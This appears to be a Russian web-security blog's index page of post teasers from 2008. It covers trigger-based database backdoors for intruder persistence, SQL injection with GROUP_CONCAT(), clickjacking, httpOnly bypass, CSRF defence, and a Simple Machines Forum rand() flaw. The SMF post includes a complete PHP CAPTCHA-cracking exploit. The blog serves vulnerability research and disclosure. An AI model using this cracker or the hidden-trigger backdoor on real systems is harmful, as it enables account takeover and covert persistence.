Бэкдор в триггере

Нередко случается, что все руткиты/бэкдоры/веб-шеллы, полученные взломщиком с большими усилиями, однажды обнаруживаются администратором сервера и безвозвратно удалются. Чтобы закрепиться в системе как можно дольше, используется множество способов, большинство из которых сводится к хранению бэкдора непосредственно в файловой системе. У меня возникла идея хранить “черный ход” в систему в триггерах базы данных.

Триггер – это особая хранимая процедура, которая выполняется при наступлении определенного события на уровне таблицы базы данных. Этими событиями обычно являются использование операторов INSERT, UPDATE, DELETE. Главная особенность триггера заключается в том, что хранимая процедура, которую по сути он представляет собой, вызывается не пользователем, а самой базой данных и только при определенном условии.

При восстановлении утраченного доступа в систему может быть использован заранее внедренный триггер, создающий небольшой веб-шелл или выявляющий пароль администратора, который выполняется при наступлении специального события, известного только взломщику. Выгода такого решения очевидна: если в файловой системе администраторы еще как-то пытаются отслеживать посторонние объекты, то в базе данных обычно этого не делают.

Continue reading “Бэкдор в триггере”

GROUP_CONCAT()

Функция GROUP_CONCAT() позволяет объединить в одну строку несколько записей из таблицы, при этом можно задавать свой собственный символ разделения, а также воспользоваться операторами DISTINCT, ORDER BY, ASC/DESC. Впервые функция появилась в MySQL версии 4.1. Полный синтаксис и примеры использования можно посмотреть в официальной документации MySQL.

В SQL-инъекции GROUP_CONCAT() может пригодиться при получении списка баз данных, таблиц и их колонок из information_schema (разумеется, при MySQL 5.*).

Continue reading “GROUP_CONCAT()”

Опубликованы подробности атаки Clickjacking

Последние две недели в среде специалистов по веб-безопасности не утихали разговоры по поводу готовящейся публикации деталей новой атаки, позволяющей незаметно для пользователя “украсть” его клики. Первоначально предполагалось, что Robert Hansen, известный под ником “RSnake” и Jeremiah Grossman опубликуют доклад о найденной ими новой уязвимости, получившей название Clickjacking, на конференции OWASP в Нью-Йорке 24 сентября 2008 года, однако их выступление было отменено по просьбе компании Adobe, которая была крайне заинтересована в этой атаке, так как основной ее продукт, а именно Adobe Flash, был уязвим перед Clickjacking. Свою просьбу Adobe мотивировал желанием устранить уязвимость еще перед тем, как ее только начнут применять, тем самым обезопасив пользователей Flash. Разглашение подробностей произошло лишь недавно, после того, как на обозрение широкому кругу лиц был выставлен первый PoC от третьих лиц, которые самостоятельно провели собственное исследование, опираясь на ту небольшую информацию, которая все-таки просочилась в публичные блоги и сайты. Честно говоря, я ожидал большего и вся шумиха, которая была поднята по поводу Clickjacking, не сопоставима со значимостью угрозы самой атаки. Тем не менее, определенная степень опасности все же существует и исключать возможность проведения Clickjaсking разработчикам не стоит.

Continue reading “Опубликованы подробности атаки Clickjacking”

Методы обхода httpOnly

httpOnly – это дополнительный флаг для HTTP-заголовка Set-Cookie, который указывает на запрет чтения/записи данных Cookie посредством JavaScript, отсюда и название: Cookie доступны только через протокол HTTP. Использование httpOnly позволяет веб-разработчикам установить собственную политику безопасности в отношении доступа к Cookie из среды браузера, что по замыслу разработчиков из Microsoft должно помочь в борьбе против XSS-уязвимостей. Однако обойти ограничения httpOnly довольно просто…

Continue reading “Методы обхода httpOnly”

Защита от CSRF

csrfCSRF является одной из самых распространенных уязвимостей в современных веб-приложениях. Это связано с недооценкой разработчиками степени угрозы CSRF-атак, что выражается в недостаточных мерах защиты против CSRF или вообще в полном их отсутствии. На самом деле, эффективно обезопасить свое веб-приложение от CSRF совсем не сложно: уже достаточно давно практикуется универсальный способ, о котором я хотел бы рассказать в этом посте. Кроме того, будут затронуты уже готовые реализации этого приема: CSRFx и csrf-magic.

Continue reading “Защита от CSRF”

SQL Column Truncation в WordPress

Вот и появился первый эксплоит для уязвимости SQL Column Truncation, о чем не так давно писал Стефан Эссер, специалист, обнаруживший данную уязвимость. Причем дыра найдена не в каком-нибудь малоизвестном движке, а в WordPress! Тем не менее повода для паники нет, так как уязвимость некритична: все что удастся нападающему – это сменить пароль администратору, но узнать его не получится. Кроме того, на атакуемом блоге должна быть включена опция регистрации пользователей.

PoC: http://milw0rm.com/exploits/6397

Также читайте мою статью, посвященную SQL Column Truncation.

Уязвимости в Simple Machines Forum <= 1.1.5

Обнаружил уязвимость в Simple Machines Forum <= 1.1.5, связанную с предсказуемостью кода подтверждения для смены пароля, а также CAPTCHA в модуле регистрации. Оба механизма используют в своем алгоритме функцию rand(), о недостатках которой я писал в прошлой статье.

Сброс пароля администратора

SMF выявляет случайное число, сгенерированное с помощью rand(), в виде md5-хэша в самой форме восстановления пароля (hidden параметр sc):

<?php
$_SESSION['rand_code'] = md5(session_id() . rand());
$sc = $_SESSION['rand_code'];
?>

Активационный ключ генерируется следующим образом:

<?php
$password = substr(preg_replace('/\W/', '', md5(rand())), 0, 10);
?>

Так как максимальное значение случайного числа на win32 является 32767 и идентификатор сессии известен, то перебором md5-хэша можно получить случайное число. В win32 любое число, сгенерированное с помощью rand(), становится сидом для следующего числа, таким образом можно предугадать все последующие числа и вычислить активационный ключ.

http://milw0rm.com/exploits/6392

Вычисление кода CAPTCHA

SMF выявляет случайное число в модуле регистрации (ссылки на изображения с кодом CAPTCHA):

<?php
$context['verificiation_image_href'] = $scripturl . '?action=verificationcode;rand=' . md5(rand());
?>

Сам код CAPTCHA генерируется следующим образом:

<?php
$character_range = array_merge(range('A', 'H'), array('K', 'M', 'N', 'P'), range('R', 'Z'));
// Generate a new code.
$_SESSION['visual_verification_code'] = '';
for ($i = 0; $i < 5; $i++)
$_SESSION['visual_verification_code'] .= $character_range[array_rand($character_range)];
?>

Функция array_rand() использует внутренний вызов rand(), поэтому определив перебором предыдущее случайное число в ссылках, можно вычислить сам код (опять-таки актуально только для win32).

<?php

/**
 * Simple Machines Forum <= 1.1.5 CAPTCHA cracker (win32)
 * by Raz0r (http://Raz0r.name/)
 */

$url = "http://localhost/smf/";

$html = file_get_contents("{$url}index.php?action=register");
$out=array();
preg_match("@rand=([0-9a-f]+)@i",$html,$out);
if(isset($out[1])){
	$rand = bfmd5($out[1]);
	srand($rand);
	$character_range = array_merge(range('A', 'H'), array('K', 'M', 'N', 'P'), range('R', 'Z'));
	for ($i = 0; $i < 5; $i++) {
		echo $character_range[array_rand($character_range)];
	}
}

function bfmd5($md5) {
	for($i=0;$i<=32767;$i++){
		if($md5 == md5($i)) {
			return $i;
		}
	}
	return false;
}
?>

Магия случайных чисел (часть 2)

Этот пост является продолжением прошлой статьи, в которой шла речь о проблемах генераторов случайных чисел в PHP с примером эксплоита для WordPress через уязвимость в phpBB2. В этот раз рассмотрим интересную особенность случайных чисел, сгенерированных с помощью функции rand(), а также способы защиты от подобного рода атак в своих веб-приложениях.

Continue reading “Магия случайных чисел (часть 2)”

Предсказываем случайные числа в PHP

Стефан Эссер не перестает меня удивлять: в этот раз в своем блоге он рассказал об особенностях генерации случайных чисел в PHP, которые при особых условиях позволяют предугадывать случайные значения. Его находки открывают возможность для реализации совершенно новых атак – Cross Application Attacks, в основе которых лежит неправильное использование веб-приложениями функций для генерации случайных чисел. При этом одно веб-приложение, не имея полноценных уязвимостей, но обладающее погрешностью в вычислении случайных чисел, открывает дверь для реализации атаки на совершенно другое веб-приложение, находящееся на том же сервере. В качестве примера Стефан описал алгоритм проведения атаки на WordPress через дыру в phpBB2. Так как подтверждение его концепции в виде эксплоита отсутствует, я решил провести собственное исследование и написать рабочий PoC. После нескольких дней тестирования на локальном веб-сервере, я пришел к выводу, что уязвимость действительно имеет место, и ее эксплуатация вполне реальна. В результате мной был написан эксплоит для WordPress < = 2.6.1 посредством phpBB2, позволяющий сменить пароль администратора, не имея доступа к его почтовому ящику.

Continue reading “Предсказываем случайные числа в PHP”

К чему может привести усечение данных в SQL

Совсем недавно известный эксперт по безопасности Стефан Эссер (Stefan Esser) опубликовал в своем блоге статью, посвященную новой уязвимости, связанной с особенностями сравнения строк и автоматического усечения данных в MySQL. Именно Стефан обнаружил знаменитую дыру zend_hash_del_key_or_index, после чего в Сети появилось множество эксплоитов для популярных веб-приложений. Похоже в этот раз дело грозит обернуться теми же последствиями.

Continue reading “К чему может привести усечение данных в SQL”